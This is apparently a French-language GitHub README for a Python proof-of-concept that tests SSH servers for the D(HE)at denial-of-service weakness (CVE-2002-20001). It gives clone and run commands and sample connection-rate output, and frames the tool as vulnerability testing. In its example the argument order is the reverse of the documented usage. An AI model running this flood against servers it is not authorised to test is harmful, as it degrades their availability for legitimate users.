POC d'attaque DoS D(H)eat (CVE-2002-20001)

POC pour tester l'existence de l'attaque DoS D(HE)at (CVE-2002-20001) dans le service SSH

Utilisation

commande : python3 dheat_dos_attack_poc.py <IP_Address> <Port_Number>

<IP_Address> : Remplacez par l'adresse IP réelle ou le nom d'hôte du serveur SSH que vous avez l'autorisation de tester.

<Port_Number> : Numéro de port cible exécutant des services SSH.

Étapes à exécuter : Pour installer Python 3 sur Ubuntu, Kali, etc., la commande de base est :

$ sudo apt update

$ sudo apt install python3

Téléchargement et modification des permissions du fichier :

$ git clone https://github.com/itmaniac/dheat_dos_attack_poc.git

$ cd dheat_dos_attack_poc

$ chmod +x dheat_dos_attack_poc.py

Test du POC d'attaque DoS D(HE)at :

$ python3 dheat_dos_attack_poc.py 22 10.0.0.1

Résultats d'exécution réussis :

Tentative d'établir 50 connexions vers 10.0.0.1:22...

--- Résultats du test ---

Cible : 10.0.0.1:22

Nombre total de tentatives de connexion : 50

Connexions réussies : 50

Connexions échouées : 0

Durée totale : 0.025 secondes

Taux de connexion : 1981.66 connexions/seconde

Avertissement : Le taux de connexion est encore élevé (supérieur à 20.0 connexions/s). Potentiellement vulnérable à l'attaque DoS DHEat. Rappel : Si 'PerSourceMaxStartups 1' est défini sur le serveur, cela pourrait être un faux positif, car le serveur est protégé depuis une seule source, même s'il peut traiter de nombreuses connexions uniques.

dheat_dos_attack_poc

Populaires

Résultats du scan VirusTotal :

AVERTISSEMENT :

Remerciements / Références